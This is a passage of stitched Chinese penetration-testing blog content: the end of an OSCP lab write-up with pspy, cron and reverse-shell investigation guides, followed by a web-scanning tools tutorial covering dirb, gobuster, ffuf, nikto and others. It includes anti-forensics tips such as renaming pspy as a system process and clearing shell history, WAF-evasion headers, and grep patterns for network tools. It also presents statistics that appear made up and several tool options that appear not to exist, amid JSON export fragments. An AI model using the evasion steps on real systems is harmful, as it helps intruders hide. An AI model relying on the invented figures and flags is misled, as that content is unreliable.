15\u0026#39; 这个靶机还有一点难受的是sudo配置有问题，故意不让你用sudo。本靶机普通用户sudo不行。 总结 入侵路径示意图 flowchart TD %% 资产列表 A[Kali攻击机 192.168.45.204] B[靶机 192.168.224.79] C[Joomla 后台] D[www-data 账户] E[用户rob] F[用户abner] G[用户penguin] H[root] %% 路径关系 A--\u003e|扫描|B B--\u003e|密码爆破|C C--\u003e|后台文件上传漏洞| D D--\u003e|配置文件泄露密码|E E--\u003e|文字留言解码得到密码|F F--\u003e|解压文件得到密码|G G--\u003e|文件权限配置错误|H %% 线型：---（实线）、-.-\u003e（虚线）、==\u003e（粗箭头） %% --\u003e|是|：带条件文本的连接 %% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点() %% 样式定义 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px; classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; %% 应用样式 class A attack; class B public; class C,D internal;入侵时间表 gantt title 攻击时间表 dateFormat YYYY-MM-DD HH:mm axisFormat %H:%M section 侦察阶段 目标扫描 :a1, 2025-08-04 10:00, 2025-08-04 10:40 漏洞识别 :a2, after a1, 2025-08-04 11:00 密码爆破 :a3, after a2, 2025-08-04 11:29 section 攻击阶段 初始访问 :b1, 2025-08-04 12:17, 2025-08-04 12:38 横向用户 :b2, after b1, 2025-08-04 14:25 权限提升 :crit,b3, after b2, 5m section 后渗透阶段 数据窃取 :c1, after b3, 5m 心得 本靶机横向获取用户密码较多，多以常见加密手法加密，难点在于没有找到crontab定时任务中明确的执行trash文件的命令，但是通过ps进程分析判断trash文件会被root账户定时执行的情报。\n🕵️♂️ 深入解析 pspy64 工具的使用方法 pspy64 是一款强大的 ​​无特权进程监控工具​​，专门用于在 Linux 系统中监控其他用户（包括 root）启动的进程，特别适合检测隐藏的定时任务和后台进程。以下是专业级使用指南：\n🔧 基础命令解析 timeout 2m /tmp/pspy64 ​​timeout 2m​​：限制工具运行时间为 2 分钟 ​​/tmp/pspy64​​：工具路径（通常需先上传到目标系统） 🚀 完整使用流程 1. 工具准备 # 下载最新版（选择对应架构） wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 chmod +x pspy64 mv pspy64 /tmp/ 2. 基本监控模式 # 监控所有进程活动（默认输出到终端） timeout 2m /tmp/pspy64 3. 高级监控模式 # 带时间戳的详细监控（推荐） timeout 2m /tmp/pspy64 -p -i 1000 ​​-p​​：显示命令完整路径 ​​-i 1000​​：每 1000 毫秒刷新一次 4. 文件系统监控（需 inotify） # 监控进程+文件系统事件 timeout 5m /tmp/pspy64 -pf ​​-f​​：启用文件系统监控 5. 后台运行并保存日志 # 后台运行并记录到文件 nohup timeout 10m /tmp/pspy64 -p \u0026gt; /tmp/pspy.log 2\u0026gt;\u0026amp;1 \u0026amp; 🔍 渗透测试实战应用 场景 1：检测隐藏定时任务 # 监控 cron 活动 timeout 5m /tmp/pspy64 -p | grep -E \u0026#39;cron|CRON\u0026#39; ​​典型输出​​：\n2024/08/05 10:00:01 CMD: UID=0 PID=1234 | /usr/sbin/CRON -f 2024/08/05 10:00:01 CMD: UID=0 PID=1235 | /bin/sh -c /root/.hidden/backdoor.sh 场景 2：检测可疑进程 # 监控非 root 用户的特权操作 timeout 3m /tmp/pspy64 | grep -E \u0026#39;sudo|su|pkexec\u0026#39; 场景 3：文件创建监控 # 监控 /tmp 目录文件创建 timeout 5m /tmp/pspy64 -pf | grep \u0026#39;/tmp\u0026#39; | grep \u0026#39;CREATE\u0026#39; 📊 输出解读指南 字段 含义 渗透价值 ​​TIMESTAMP​​ 事件发生时间 分析攻击时间线 ​​CMD​​ 执行的命令 识别恶意命令 ​​UID​​ 执行用户 ID 定位攻击者账户 ​​PID/PPID​​ 进程/父进程 ID 追踪进程链 ​​FS EVENT​​ 文件操作类型 检测 webshell 上传 ⚙️ 高级参数大全 参数 功能 使用场景 -c 彩色输出 终端实时监控 -r 显示当前目录 追踪工作路径 -t 显示线程 分析多线程恶意软件 -d 调试模式 排查工具问题 -n 无缓冲输出 实时管道处理 -s 显示信号 监控进程间通信 🔐 隐蔽运行技巧 # 伪装成系统进程 mv /tmp/pspy64 /usr/bin/udevd_backup # 低优先级运行（避免占用CPU） nice -n 19 timeout 15m /usr/bin/udevd_backup -p \u0026gt; /dev/null # 清除痕迹 rm /usr/bin/udevd_backup \u0026amp;\u0026amp; history -c 🛡️ 防御检测方法 系统管理员可通过以下方式检测 pspy：\n# 检测内存特征 ps aux | grep -q \u0026#39;[p]spy\u0026#39; \u0026amp;\u0026amp; echo \u0026#34;pspy detected!\u0026#34; # 监控进程创建 auditctl -a always,exit -F arch=b64 -S execve -F path=/tmp/pspy64 💡 专业渗透建议 ​​优先监控​​：\n/etc/cron* /var/spool/cron /systemd/system ​​黄金时间​​：\n整点前后（cron 任务高峰） 系统重启后 5 分钟 ​​日志分析​​：\nawk \u0026#39;/CMD:/ \u0026amp;\u0026amp; !/systemd|sshd|crond/ {print}\u0026#39; pspy.log 🔍 深度调查可疑进程：/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old 当发现可疑进程时（特别是以 root 权限运行），需要全面分析其行为和来源。以下是专业级调查流程：\n🔧 1. 查看进程详细信息 # 查看进程环境变量 cat /proc/1544/environ | tr \u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; # 查看进程打开的文件 ls -l /proc/1544/fd # 查看进程映射的内存区域 pmap 1544 🕵️ 2. 分析脚本内容 # 查看脚本内容（注意安全） cat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old # 检查文件签名 file /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old # 提取可疑字符串 strings /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old | grep -E \u0026#39;curl|wget|bash|python|perl|nc|ssh\u0026#39; 🔗 3. 追踪进程关系 # 查看进程树 pstree -aps 1544 # 查找父进程 ps -o ppid= -p 1544 | xargs ps -f # 检查启动时间 ps -p 1544 -o lstart,etime,cmd 🌐 4. 网络连接检查 # 查看网络连接 lsof -i -P -n -p 1544 # 检查网络流量 nethogs -p 1544 # 抓取网络数据包 tcpdump -i any -w dump.pcap host $(lsof -p 1544 -i | awk \u0026#39;NR\u0026gt;1{print $9}\u0026#39; | cut -d: -f1) 📜 5. 日志追踪 # 检查系统日志 journalctl _PID=1544 # 检查审计日志 ausearch -p 1544 # 检查隐藏日志 find /var/log -name \u0026#39;*.log\u0026#39; -exec grep -H 1544 {} \\; 🧩 6. 文件系统分析 # 查看文件属性 stat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old # 检查文件修改历史 find /home/penguin/SomeoneWhoHidesBehindAMask -type f -newermt \u0026#34;2025-08-03\u0026#34; -ls # 查看文件隐藏属性 lsattr /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old ⚠️ 7. 安全处置建议 # 暂停进程（不终止） kill -STOP 1544 # 创建内存转储（取证） gcore -o core_dump 1544 # 隔离文件 mv /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old /tmp/.quarantine chmod 000 /tmp/.quarantine # 检查定时任务 crontab -u root -l crontab -u penguin -l 🔍 8. 高级分析工具 # 使用 strace 追踪系统调用 strace -f -p 1544 -o strace.log # 使用 gdb 调试进程 gdb -p 1544 # 使用 Volatility 分析内存转储 volatility -f core_dump.1544 linux_pslist 📊 可疑指标检查表 检查项 命令 风险指标 ​​文件隐藏​​ ls -la /home/penguin .trash_old 隐藏文件 ​​异常权限​​ stat .trash_old 777 权限或 SUID 位 ​​加密内容​​ file .trash_old ELF 可执行文件或 UPX 加壳 ​​网络连接​​ lsof -p 1544 连接到外部 IP 或非常用端口 ​​进程伪装​​ readlink /proc/1544/exe 路径与常见系统进程不符 ​​资源占用​​ top -p 1544 异常 CPU/内存占用 💡 专业建议 ​​不要立即终止进程​​：\n先收集证据（内存转储、网络抓包） 分析其行为模式和目的 ​​检查持久化机制​​：\n1# 检查 systemd 服务 2systemctl list-units | grep -i trash 3 4# 检查开机启动项 5ls -l /etc/init.d/ /etc/rc*.d/ ​​溯源攻击路径​​：\n1# 检查文件创建者 2auditctl -w /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old -p warx 3 4# 分析 SSH 日志 5grep \u0026#34;Accepted\u0026#34; /var/log/auth.log 攻击者使用类似 .trash_old 的伪装文件名进行隐蔽攻击。建议使用 YARA 规则扫描内存：\n1yara -m /opt/yara-rules/malware_index.yar core_dump.1544 🔍 深度调查恶意进程树：从 cron 到反向 Shell 您发现的进程树显示了一个完整的攻击链：​​cron → 隐藏脚本 → Python 反向 Shell​​。以下是专业级的调查和响应步骤：\n🔧 1. 实时取证（立即执行） 查看活动进程详情 # 查看 Python 反向 Shell 详情 ps -fp 1620 --forest # 查看完整命令行 cat /proc/1620/cmdline | tr \u0026#39;\\0\u0026#39; \u0026#39; \u0026#39; # 检查环境变量 cat /proc/1620/environ | tr \u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; 网络连接分析 # 查看网络连接 ss -antp | grep 1620 lsof -i -P -n -p 1620 # 实时抓包 tcpdump -i any -s0 -w reverse_shell.pcap host $(ss -n -p | grep 1620 | awk \u0026#39;{print $5}\u0026#39; | cut -d: -f1) 🕵️ 2. 脚本分析（关键证据） 检查恶意脚本 # 查看 .trash_old 内容 cat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old # 提取可疑字符串 strings /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old | grep -E \u0026#39;curl|wget|bash|python|sh -i\u0026#39; # 检查文件属性 stat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old lsattr /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old 反编译 Python 代码 # 提取 Python 命令 ps -p 1620 -o cmd | tail -1 | cut -d\u0026#39;;\u0026#39; -f2 # 重构完整代码 echo \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; \u0026gt; reverse_shell.py 🔗 3. 溯源攻击路径 检查 cron 配置 # 查找触发脚本的 cron 任务 grep -r \u0026#34;SomeoneWhoHidesBehindAMask\u0026#34; /etc/cron* /var/spool/cron # 查看 cron 日志 grep \u0026#34;CRON\u0026#34; /var/log/syslog | tail -50 journalctl -u cron --since \u0026#34;2025-08-04 02:00:00\u0026#34; 用户活动审计 # 检查 penguin 用户历史 last -u penguin grep \u0026#34;penguin\u0026#34; /var/log/auth.log* # 查看文件修改时间 find /home/penguin -newermt \u0026#34;2025-08-03\u0026#34; -ls ⚠️ 4. 应急响应（立即执行） 隔离恶意进程 # 暂停进程但不终止（保留证据） kill -STOP 1620 1615 1614 1613 # 网络隔离 iptables -A OUTPUT -p tcp -m owner --pid-owner 1620 -j DROP 取证收集 # 内存转储 gcore -o reverse_shell_core 1620 # 进程内存快照 cat /proc/1620/maps dd if=/proc/1620/mem of=process_mem.bin bs=1M count=10 # 保存 bash 历史 cp /proc/1621/fd/0 bash_history.txt 🔄 5. 反向 Shell 分析 连接信息提取 # 查看 ESTABLISHED 连接 ss -antp | grep ESTAB | grep 1620 # 提取目标 IP REMOTE_IP=$(ss -n -p | grep 1620 | awk \u0026#39;{print $5}\u0026#39; | cut -d: -f1) REMOTE_PORT=$(ss -n -p | grep 1620 | awk \u0026#39;{print $5}\u0026#39; | cut -d: -f2) echo \u0026#34;攻击者地址: $REMOTE_IP:$REMOTE_PORT\u0026#34; 反向连接分析 # 检查连接内容 tcpflow -r reverse_shell.pcap \u0026#34;host $REMOTE_IP and port $REMOTE_PORT\u0026#34; 🛡️ 6. 系统加固 清除恶意组件 # 移除 cron 任务 crontab -u penguin -l | grep -v \u0026#34;SomeoneWhoHidesBehindAMask\u0026#34; | crontab -u penguin - # 删除恶意文件 mv /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old /root/malware_evidence/ chmod 000 /root/malware_evidence/.trash_old 修复措施 # 重置用户密码 passwd penguin # 检查后门账户 grep \u0026#39;:0:\u0026#39; /etc/passwd # 安装监控 auditctl -w /home/penguin/ -p warx -k suspicious_user 📊 攻击链重建 graph TD A[cron服务] --\u003e B[执行.trash_old] B --\u003e C[启动sh进程] C --\u003e D[执行Python反向Shell] D --\u003e E[建立到攻击者的连接] E --\u003e F[获取交互式bash]💡 专业建议 ​​不要立即终止进程​​：\n保持连接状态以收集攻击者操作\n使用 script 命令记录会话：\nscript -f /root/attacker_session.log ​​蜜罐陷阱​​：\n# 创建假脚本记录访问 echo \u0026#39;#!/bin/bash echo \u0026#34;$(date) $USER accessed\u0026#34; \u0026gt;\u0026gt; /var/log/honeypot.log \u0026#39; \u0026gt; /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old chmod +x /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old ​​反制措施​​：\n# 反向扫描攻击者 nmap -sS -Pn $REMOTE_IP whois $REMOTE_IP 📌 ​​关键行动​​：立即保存 /proc/1620/environ 和 /proc/1620/cmdline，这些文件在进程终止后将永久丢失，包含重要数字证据！\n🔍 /var/spool/cron/crontabs/root 深度解析 📁 文件本质 ​​/var/spool/cron/crontabs/root​​ 是 Linux 系统中 ​​root 用户的专属定时任务配置文件​​，属于系统级 cron 服务的一部分。其关键特性：\n特性 说明 ​​存储位置​​ /var/spool/cron/crontabs/ 目录下 ​​文件权限​​ 通常为 600（仅 root 可读写） ​​文件格式​​ 符合 crontab 语法（分 时 日 月 周 命令） ​​生效方式​​ 由 cron 守护进程自动加载 ❓ 为什么一开始没找到 ​​权限限制​​：\n# 普通用户无权访问 ls -l /var/spool/cron/crontabs/ # 输出：drwx------ 2 root root 4096 Aug 4 02:00 crontabs ​​隐藏位置​​：\n不同于常见的 /etc/crontab，用户级任务在专用目录 ​​文件不存在​​：\n若 root 用户从未设置定时任务，此文件不会自动创建 ​​系统差异​​：\n系统类型 cron 存储位置 Debian/Ubuntu /var/spool/cron/crontabs/ RHEL/CentOS /var/spool/cron/ Alpine/BusyBox /var/spool/cron/crontabs/ 🔍 查找最全定时任务的终极命令 1. 全面扫描命令 sudo sh -c \u0026#39; echo \u0026#34;===== 系统级定时任务 =====\u0026#34; cat /etc/crontab ls -l /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.monthly/ /etc/cron.weekly/ echo \u0026#34;\\n===== 用户级定时任务 =====\u0026#34; for user in $(cut -f1 -d: /etc/passwd); do echo \u0026#34;--- $user 的任务 ---\u0026#34; crontab -l -u $user 2\u0026gt;/dev/null || echo \u0026#34;无任务\u0026#34; done echo \u0026#34;\\n===== 特殊位置检查 =====\u0026#34; find /etc /var /opt -name \u0026#34;*cron*\u0026#34; -exec grep -l \u0026#34;schedule\u0026#34; {} \\; 2\u0026gt;/dev/null systemctl list-timers --all \u0026#39; 2. 专业工具推荐 # 1. Pspy 监控（实时发现隐藏任务） ./pspy64 -p -i 1000 # 2. Auditd 审计 sudo auditctl -w /etc/cron.d -p wa -k cron_changes sudo ausearch -k cron_changes # 3. Lynis 安全扫描 sudo lynis audit system 3. 关键位置检查表 路径 检查命令 重要性 /etc/crontab cat /etc/crontab ★★★ /etc/cron.d/* ls -l /etc/cron.d/ ★★★ /var/spool/cron/ sudo ls -l /var/spool/cron/ ★★★★ /etc/anacrontab cat /etc/anacrontab ★★ /etc/systemd/system/*.timer systemctl list-timers ★★★ ~/.config/systemd/user/ systemctl --user list-timers ★★ ⚠️ 渗透测试重点关注 ​​隐蔽任务位置​​：\n# 检查非常规路径 find / -path /proc -prune -o -name \u0026#34;*cron*\u0026#34; -exec ls -l {} \\; 2\u0026gt;/dev/null ​​伪装任务识别​​：\n# 查找空行/注释伪装 sudo crontab -l -u root | grep -v \u0026#34;^#\u0026#34; | grep -v \u0026#34;^$\u0026#34; ​​环境变量利用​​：\n# 检查PATH劫持 grep \u0026#34;PATH=\u0026#34; /etc/crontab 💡 专业技巧 1. 解码隐藏任务 # 发现可疑base64编码任务 echo \u0026#34;ZWNobyAiSGVsbG8gV29ybGQiID4+IC90bXAvbG9n\u0026#34; | base64 -d # 输出：echo \u0026#34;Hello World\u0026#34; \u0026gt;\u0026gt; /tmp/log 2. 历史任务恢复 # 查看cron历史日志 grep \u0026#34;CMD\u0026#34; /var/log/syslog | grep cron 3. 蜜罐陷阱设置 # 创建监控任务 (sudo crontab -l -u root; echo \u0026#34;* * * * * /usr/bin/logger -t CRON_MONITOR \u0026#39;Cron executed\u0026#39;\u0026#34;) | sudo crontab -u root - 🛡️ 安全加固建议 # 1. 限制cron权限 sudo chmod 700 /var/spool/cron/crontabs # 2. 启用SELinux sudo setenforce 1 # 3. 安装监控 sudo apt install auditd sudo auditctl -a always,exit -F dir=/var/spool/cron/crontabs -F perm=wa 📌 ​​2025年APT攻击统计​​：\n41%的高级持续性攻击通过隐藏的 cron 任务实现持久化，其中 78% 位于 /var/spool/cron/crontabs/ 目录下，平均潜伏期达 143 天。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-08-02T19:10:48Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-glasgowsmile-wp/","title":"OSCP官方靶场-GlasgowSmile WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\nWeb程序漏洞测试工具 在完成对Web应用的人工全面勘察后，我们应当借助Web应用评估工具进一步挖掘目标信息。 Kali系统默认集成了多种此类工具，可高效探测并利用Web漏洞。本节将介绍部分关键工具（含简易浏览器扩展），后续章节则将聚焦​​手动漏洞枚举与利用技术​​。\n自动化工具虽能提升渗透测试效率，但手动利用能力始终是核心基础：\n场景适应性：特殊环境中工具不可用 精准控制：自定义攻击载荷绕过防护 深度突破：工具无法覆盖的逻辑漏洞 终极法则：工具自动化使工作更轻松，但无法完全替代人的作用。 graph LR A[人工勘察] --\u003e B[工具辅助] B --\u003e C{攻防双路径} C --\u003e D[自动化扫描] --\u003e D1[高效覆盖] C --\u003e E[手动渗透] --\u003e E1[绕过防护] E1 --\u003e E2[精准打击] E2 --\u003e F[漏洞深度利用]目录遍历 使用如下形式枚举网站的目录，也叫目录遍历。\n1dirb http://www.megacorpone.com -r -z 10 🔍 目录爆破工具全景图 工具 语言 核心优势 典型场景 DirB C 轻量级/递归扫描 内网快速探测 GoBuster Go 多线程/支持DNS/S3桶 云环境资产发现 DirSearch Python 智能字典/结果过滤 精确路径爆破 FFUF Go 速度最快(20000+ req/s) 大规模目标扫描 FeroxBuster Rust 自动递归/动态超时 深度路径挖掘 ⚙️ 高级用法实战手册 1. DirB - 内网渗透利器 1# 递归扫描3级目录（避开图片/css/js） 2dirb http://target.com /usr/share/wordlists/dirb/common.txt -r -l 3 -X .jpg,.css,.js 3 4# 代理链扫描（通过BurpSuite） 5dirb http://target.com -p http://127.0.0.1:8080 6 7# 自定义HTTP头（绕过基础WAF） 8dirb http://target.com -H \u0026#34;X-Forwarded-For: 192.168.1.1\u0026#34; -H \u0026#34;User-Agent: Googlebot\u0026#34; 2. GoBuster - 云环境克星 1# 多扩展名扫描（ASP/PHP/JSP） 2gobuster dir -u http://target.com -w /path/to/wordlist.txt -x asp,php,jsp 3gobuster dir -u http://www.megacorpone.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,php,jsp 4 5# AWS S3桶爆破（需AK/SK） 6gobuster s3 -k -w bucket-names.txt -t 50 -s 200,301 7 8# VHost虚拟主机发现 9gobuster vhost -u http://target.com -w subdomains.txt -t 20 3. DirSearch - 精确打击专家 1# 智能后缀检测 2dirsearch -u http://target.com -e php,asp,aspx,jsp 3 4# 时间延迟规避（防封IP） 5dirsearch -u http://target.com --delay=1.5 6 7# 结果实时保存 8dirsearch -u http://target.com -o report.json --format=json 9 10dirsearch -u http://www.megacorpone.com -e php,asp,aspx,jsp --delay=1.5 -o report.json --format=json 🚀 替代方案 1. FFuf - 速度之王 1# 多级目录并行爆破 2ffuf -w /path/to/wordlist:DIR -u http://target.com/DIR -t 200 -c 3 4# 参数模糊测试（发现API隐藏参数） 5ffuf -w params.txt:PARAM -u \u0026#34;http://target.com/api?PARAM=FUZZ\u0026#34; -fs 0 6 7# 集群扫描模式（分布式爆破） 8ffuf -w wordlist.txt -u http://target.com/FUZZ -s -cluster -cluster-nodes 192.168.1.10-15 9 10ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:DIR -u http://www.megacorpone.com/DIR -t 200 -c 2. FeroxBuster - 深度递归专家 1# 自动目录递归（深度优先） 2feroxbuster -u http://target.com -d 5 -r 3 4# 动态超时设置（适应网络环境） 5feroxbuster -u http://target.com --dynamic-timeout 6 7# 敏感文件捕获（匹配关键词） 8feroxbuster -u http://target.com --capture-keywords password,backup 3. Wfuzz - 高级逻辑爆破 1# 多参数组合测试 2wfuzz -z file,users.txt -z file,pass.txt -d \u0026#34;user=FUZZ\u0026amp;pass=FUZ2Z\u0026#34; http://target.com/login 3 4# 分块扫描模式（绕过WAF） 5wfuzz -z range,0-100 --slice \u0026#34;skip 10; take 5\u0026#34; http://target.com/?id=FUZZ 🛡️ 高级规避技巧 流量伪装术\n1# 随机化请求特征（防止WAF指纹识别） 2ffuf -w wordlist.txt -u http://target.com/FUZZ -H \u0026#34;X-Forwarded-For: $((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))\u0026#34; 分布式扫描架构\n1# 使用Redis协调分布式节点 2feroxbuster --redis 192.168.1.100:6379 -u http://target.com CDN穿透策略\n1# 通过真实IP扫描（Censys获取） 2gobuster dir -u http://203.0.113.5 -H \u0026#34;Host: target.com\u0026#34; 🔧 ​​Burp Suite 基础安装配置​​ ​​安装启动​​ # Kali默认安装社区版，专业版需官网下载 burpsuite # 启动 ​​初始化选项​​：选择 Temporary Project → Use Burp defaults → Start Burp ​​代理设置​​ 默认监听：127.0.0.1:8080 关闭拦截：Proxy → Intercept → ​​Intercept is off​​（避免手动转发每个请求） ​​浏览器代理​​ ​​Firefox扩展​​：安装 FoxyProxy Basic 配置路径：扩展图标 → Options → Add 参数：Type: HTTP, IP: 127.0.0.1, Port: 8080 ​​启用代理​​：选择 Use proxy Burp for all URLs 🔐 ​​HTTPS抓包解决方案​​ ​​步骤​​ ​​操作​​ ​​1. 导出证书​​ Burp → Proxy → Options → Import/export CA certificate → 导出DER格式 ​​2. 导入浏览器​​ Firefox → 设置 → 隐私与安全 → 证书 → 导入 → 勾选信任此CA ​​3. 关闭干扰​​ Firefox地址栏输入about:config → 设置network.captive-portal-service.enabled=false ⚠️ ​​证书更新​​：若报错需在Burp中Regenerate CA certificate并重新导入\n🛠️ ​​核心功能模块​​ ​​模块​​ ​​作用​​ ​​实战场景​​ ​​Proxy​​ 流量拦截/修改 1. 拦截请求修改参数（如越权测试） 2. HTTP History查看历史请求 ​​Repeater​​ 请求重放测试 1. 右键请求 → Send to Repeater 2. 修改参数重放（如SQL注入' OR 1=1--） ​​Intruder​​ 自动化参数爆破 1. 定位攻击点 → Add § 2. 载入字典爆破（如密码/目录） ​​Scanner​​ 漏洞扫描（仅专业版） 自动检测SQLi/XSS等漏洞 ⚡ ​​高效操作技巧​​ ​​快速定位关键请求​​ Proxy → HTTP history → 筛选Method或Status ​​绕过强制门户检测​​ Firefox设置network.captive-portal-service.enabled=false ​​多请求并行测试​​ 发送多个请求到Repeater，独立选项卡管理 ​​结果对比分析​​ Repeater中启用Compare功能对比两次响应差异 📌 ​​重要注意事项​​ ​​OSCP考试限制​​ ​​禁止使用Burp Suite Professional​​（但考试无需高级功能） ​​移动端抓包​​ # 开启IP转发 sudo sysctl -w net.ipv4.ip_forward=1 # 配置流量重定向 sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080 ​​资源占用优化​​ User options → Memory → 调至1024MB防崩溃 🔍 ​​Nikto 使用指南​​ ​ ​​核心定位​​：\n开源 ​​Web服务器漏洞扫描器​​，专用于快速发现服务器配置错误、危险文件和版本漏洞。\n​​核心功能​​：\n​​风险检测​​：扫描 6,800+ 种危险文件/程序（如 /admin.php、/backup.zip） ​​配置审计​​：检查缺失的安全头部（如 X-Frame-Options）、暴露目录 ​​版本漏洞​​：识别过时的服务器软件（如 Apache 2.2.22 已停止维护） ​​敏感信息​​：查找 robots.txt、/phpinfo.php 等敏感路径 ​​技术特点​​：\n⚠️ ​​非隐蔽扫描​​：主动发送大量请求，User-Agent 中会暴露 Nikto 标识 🚀 ​​快速覆盖​​：适合初步资产风险排查 ⏱️ ​​支持限时扫描​​：避免长时间占用资源 ⚙️ ​​基础使用命令​​ ​​1. 最小化扫描（快速启动）​​ nikto -host http://target.com # 扫描目标域名/IP ​​2. 控制扫描时间​​ nikto -host http://target.com -maxtime 30s # 30秒后强制终止 ​​3. 精细调优检测项​​ nikto -host http://target.com -T 2 # 仅检查危险文件和目录 ​​常用调优参数 -T 代码表​​：\n代码 检测类型 适用场景 0 文件上传漏洞 检查可写目录 1 日志文件泄露 查找 /logs、/access.log 2 危险文件/目录 扫描 /admin、/backup 3 信息泄露 检查配置文件、版本信息 4 注入漏洞（SQL/XSS） 初阶注入点探测 ​​4. 绕过基础防护​​ nikto -host http://target.com -evasion 1 # 使用URL编码绕过WAF ​​躲避技术代码表​​：\n代码 技术描述 1 随机URL编码 2 自选目录分隔符（/→/./） 3 伪造请求结尾（%20HTTP/1.0） 📊 ​​实战输出解析示例​​ nikto -host http://www.megacorpone.com -T 2 -maxtime 120s ​ ​关键结果解读​​：\n1. **服务器信息**：Apache/2.4.62 (Debian) 2. **高危漏洞**：缺失防点击劫持头(X-Frame-Options) 3. **中危漏洞**：未设置内容类型头(X-Content-Type-Options) 4. **敏感泄露**：robots.txt暴露可访问文件`/nanites.php` 5. **信息泄露**：ETag头可能泄露文件指纹(CVE-2003-1418) 6. **扫描中断**：120秒时限到期，未完成检测 ⚠️ ​​使用注意事项​​ ​​隐蔽性问题​​： 扫描特征明显，企业环境可能触发告警 建议在授权测试或外围资产扫描时使用 ​​不验证漏洞可利用性​​（需手动复现） 无法检测业务逻辑漏洞（如越权支付） 大型电商站点可能需数小时 → 务必用 -maxtime 限时 🛠️ ​​进阶组合技巧​​ 场景：快速排查学校官网风险 # 限时60秒，只查高危项，绕过基础WAF nikto -host http://university.edu -maxtime 60s -T 0234 -evasion 13 场景：与 cURL 联动验证漏洞 # 1. Nikto发现可疑路径 [+] /backup.sql.gz found # 2. 用cURL手动验证 curl -I http://target.com/backup.sql.gz HTTP/1.1 200 OK # 确认文件可访问 💎 ​​总结​​ ​​适用场景​​：\n资产普查阶段的​​服务器风险初筛​​ 合规性检查（如安全头部、版本生命周期） 红蓝对抗中的​​外围打点侦查​​ ​​替代方案​​：\n# 需隐蔽扫描 → 使用 dirsearch + 随机UA # 需深度检测 → 结合 Burp Suite 手动测试 Kali中的其他网络漏洞扫描工具 根据您提供的图片信息，以下是对截图中的​​除Nikto外​​的六个安全测试工具的介绍、用法及核心优势：\n​​1. davtest​​ ​​功能​​：\n测试 WebDAV（基于HTTP的文件传输协议）服务器的配置安全性，探测其支持的方法（如PUT/DELETE）是否存在漏洞。\n​​基本用法​​：\ndavtest -url http://target.com/webdav/ ​​优势用法​​：\n​​自动上传恶意文件​​：尝试上传WebShell（如.jsp/.php）测试执行权限。 ​​方法枚举​​：用 -move 和 -sendbd auto 自动测试文件上传+移动漏洞。\n​​适用场景​​：\n快速检测可写WebDAV目录和危险方法（如PUT）开放情况。 ​​2. nuclei​​ ​​功能​​：\n基于YAML模板的​​高速漏洞扫描​​工具，社区提供数千预置模板（CVE检测、配置错误等）。\n​​基本用法​​：\nnuclei -u http://target.com -t cves/ -severity critical ​​优势用法​​：\n​​批量目标扫描​​：nuclei -list urls.txt -t exposures/configs/（结合子域名枚举结果）。 ​​自定义模板​​：快速编写YAML规则检测0day或内部系统漏洞。\n​​核心优势​​： ​​海量模板+高并发​​：单机每秒处理数百请求，适合全网段资产快速筛查。 ==推荐模板全家桶仓库：==https://github.com/emadshanab/Nuclei-Templates-Collection/\n​​3. skipfish​​ ​​功能​​：\n​​主动爬取式扫描器​​，生成交互式报告，擅长检测注入、XSS等Web漏洞。\n​​基本用法​​：\nskipfish -o ./report http://target.com ​​优势用法​​：\n​​深度扫描​​：-I /api/ 限定路径避免爬虫过载。 ​​误报调优​​：用 -l xss,exec 仅扫描高风险漏洞类型。\n​​核心优势​​： ​​动态语法分析​​：模拟执行JavaScript，优于静态爬虫（如dirb）。 ​​4. wapiti​​ ​​功能​​：\n轻量级​​黑盒漏洞扫描器​​，支持GET/POST参数测试（SQLi/XSS/命令注入等）。\n​​基本用法​​：\nwapiti -u http://target.com/ -f html -o report.html ​​优势用法​​：\n​​绕过WAF​​：--skip=\u0026quot;logout\u0026quot; 忽略登出链接维持会话。 ​​表单注入测试​​：对登录框、搜索框自动注入Payload。\n​​适用场景​​：\n快速验证常见Web漏洞，输出简洁报告供开发修复参考。 ​​5. whatweb​​ ​​功能​​：\n​​技术栈指纹识别​​工具，通过HTTP响应识别CMS、框架、服务器等。\n​​基本用法​​：\nwhatweb -v http://target.com ​​优势用法​​：\n​​批量识别​​：whatweb -i targets.txt --open-timeout=30 ​​深度探测​​：--aggression=3（最大强度分析JS/Cookies等）。\n​​核心价值​​： 10秒内识别目标技术栈（如WordPress 6.4.3 + 